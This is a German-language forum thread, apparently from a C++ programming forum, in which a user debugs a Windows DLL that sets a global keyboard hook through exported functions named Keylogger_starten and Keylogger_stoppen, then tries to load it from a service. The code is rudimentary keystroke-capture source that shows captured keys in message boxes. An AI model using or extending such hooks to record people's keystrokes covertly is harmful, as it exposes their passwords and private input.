#include <windows.h>
#define WIN32_LEAN_AND_MEAN

#include <stdio.h>//debug

extern "C" __declspec(dllexport) BOOL Keylogger_starten ();
extern "C" __declspec(dllexport) BOOL Keylogger_stoppen ();

BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);
LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam);
VOID  Error (DWORD dwError);

HINSTANCE hInstance;
HHOOK hKeyboardHook;

BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
	switch (fdwReason) {
		case DLL_PROCESS_ATTACH:
            hInstance = hinstDLL;
			char temp[500];//debug
			sprintf(temp , "hInstance: %X", hInstance);//debug
			MessageBox(NULL, temp, "hook.dll - KeyloggerStarten", 0x00200000L);//debug
			break;
		case DLL_PROCESS_DETACH:
			MessageBox(NULL, "dll entladen", 0, 0x00200000L);
			break;
	}
	return true;
}

extern "C" __declspec(dllexport) BOOL Keylogger_starten() {
	if (!(hKeyboardHook = SetWindowsHookEx (WH_KEYBOARD, KeyboardProc, hInstance, NULL))) {
		Error(GetLastError());
		return false;
	}

	MessageBox (NULL, "hook erfolgreich gesetzt", "hook.dll", 0x00200000L);//debug
	return true;
}

extern "C" __declspec(dllexport) BOOL Keylogger_stoppen() {	
	if (!(UnhookWindowsHookEx (hKeyboardHook))) {
		Error(GetLastError());
		return false;
	}

	MessageBox(NULL, "hook entfernt", "", 0x00200000L);//debug
	return true;
}

LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam) {
	//MessageBox (NULL, "KeyboardProc", NULL, 0x00200000L);//debug
	#define BUFFER_SIZE 2
	static TCHAR chBuffer[BUFFER_SIZE];
	static int nPos;

	chBuffer[nPos] = wParam;

	if (nPos >= BUFFER_SIZE-2) {
		chBuffer[BUFFER_SIZE-1] = '\0';
		MessageBox (NULL, chBuffer, "logged", 0x00200000L);
	}

	return CallNextHookEx(hKeyboardHook, code, wParam, lParam);
}

VOID  Error (DWORD dwError) {
   LPTSTR lpErrorMessage;
   FormatMessage (
   		FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
   		NULL, dwError,
         NULL, (LPTSTR) &lpErrorMessage, 0, NULL);
   MessageBox(NULL, lpErrorMessage, "Error()", 0x00200000L);
   LocalFree(lpErrorMessage);
}

ich hab auch schon versucht die hookdll.dll http://www.c-plusplus.net/forum/viewtopic-var-t-is-39383.html hier aus dem forum zu nehmen, ging auch nicht. also übersetzen schon, aber wm_user+2 hat mein programm nicht bekommen.

ich hab eine dll für einen globalen keyboard hook geschrieben.

Wie rufst Du die DLL auf ?

Welche Meldung wird angezeigt wenn Du "Keylogger_starten ()" aufrufst ?

hook erfolgreich gesetzt

// Funktionspointer
 BOOL  (WINAPI *KL_starten) ();
 BOOL  (WINAPI *KL_stoppen) ();

 HINSTANCE   instDLL;

...

// initialisieren 
 instDLL    = LoadLibrary((LPCTSTR) "hook.dll");

 KL_starten = (BOOL (WINAPI *)()) GetProcAddress(instDLL, "Keylogger_starten");
 KL_stoppen = (BOOL (WINAPI *)()) GetProcAddress(instDLL, "Keylogger_stoppen");

...

// aufrufen
 KL_starten ();
 MessageBox (0,"KL_starten ()","",0);

 KL_stoppen ();
 MessageBox (0,"KL_stoppen ()","",0);

kann ja auch eigentlich nicht der grund sein oder? -denn die Keylogger_starten / Keylogger_stoppen Fkts werden ja aufgerufen und erzeugen brav ihre MessageBoxen.

Ich hätte jetzt noch 2 Vermutungen.
1. Könnte es sein das ich einen Virus hab, der sich in die Hook Chain immer vor mich einträgt und dann nicht die CallNextHookEx Fkt aufruft, also meine fkt aus der chain wirft?
2. Kann es sein das an der dll irgendwas nicht stimmt. und windows die deswegen nicht laden kann. z.b. wegen zugriffsrechten oder weil sie schon geladen ist oder sonst was?

bin eucht echt super dankbar wenn sich jemand damit auskennt und mir was schreibt, auch wenns nur ne vermutung ist.

LRESULT CALLBACK KeyboardProc (int code, WPARAM wParam, LPARAM lParam) {

 static int nPos; // <- nPos nicht initialisiert

 MessageBox (NULL,"in KeyboardProc", "logged", 0x00200000L);

 return CallNextHookEx(hKeyboardHook, code, wParam, lParam);
}

Dann probiere nochmal.

Auweiha, das habe ich eben erst gesehen.
Kommentiere mal aus der "KeyboardProc" alles aus, so dass nur noch folgendes übrigbleibt :
...
Dann probiere nochmal.

hab ich. geht trotzdem nicht

damit hat es doch ganz sicher etwas zu tun.

Nein, hat es nicht. Die DLL wird (soll) ja vom Betriebssystem in jeden laufenden Prozess geladen werden. Da können die Adressen schon unterschiedlich sein.
Hast Du die DLL neu kompiliert ? Mir kommt es so vor, als ob der Hook zwar installiert wurde, aber die MessageBox wird nicht angezeigt.

Hast Du die DLL neu kompiliert ?

ja hab ich.

merker schrieb:

Mir kommt es so vor, als ob der Hook zwar installiert wurde, aber die MessageBox wird nicht angezeigt.

kommt mir auch so vor, da SetWindowHookEx keinen fehler zurückliefert

geht auch ohne timer, aber nur in dem vb programm...

Na also, der Hook funktioniert.

Du darfst aber "Keylogger_start ()" nur einmal aufrufen. Dann wird die DLL in jeden Prozess geladen. Wenn das VB-Programm beendet wird, dann wird auch der Hook beendet.

Schreib das VB-Programm mal so um, dass es zwei Buttons hat (start und stopp) und probier nochmal.

Nebenbei bemerkt : Wenn das mit dem VB-Programm klappt, dann klappt es auch mit jedem anderen Programm.

Nebenbei bemerkt : Wenn das mit dem VB-Programm klappt, dann klappt es auch mit jedem anderen Programm.

ja, das es nicht an der Programmiersprache liegt war mir auch schon klar.
ich bin gar nicht so schlecht in proggen/win32 api wie man vermuten muss, wenn man mein problem hier betrachtet
naja, also mein GROßER Fehler war anscheinend, dass ich die hook.dll aus eienm service heraus aufrufen will, ich denke das ich das problem. das funktioniert übrigens bis jetzt noch nicht.
wenn ich die dll mit dem vb programm benutzt, wird sie 1 mal geladen. wenn ich sie mit dem service programm lade wird sie allerdings 2 mal geladen und direkt im anschluss 1 mal wieder entladen und dann noch einmal beim beenden des services.
das ist auch ganz schön suspekt.
( also mit geladen und entladen mein ich, dass die DllMain mit dwReason DLL_PROCESS_ATTACH bzw DLL_PROCESS_DETACH aufgerufen wird)

ich bin gar nicht so schlecht in proggen/win32 api wie man vermuten muss, wenn man mein problem hier betrachtet

Niemand vermutet hier irgendwas.

Wenn ich das jetzt richtig verstanden hab, dann funktioniert die hook.dll mit dem VB-Programm, aber nicht wenn sie aus einem Service heraus geladen wird ?

// EDIT : Name vergessen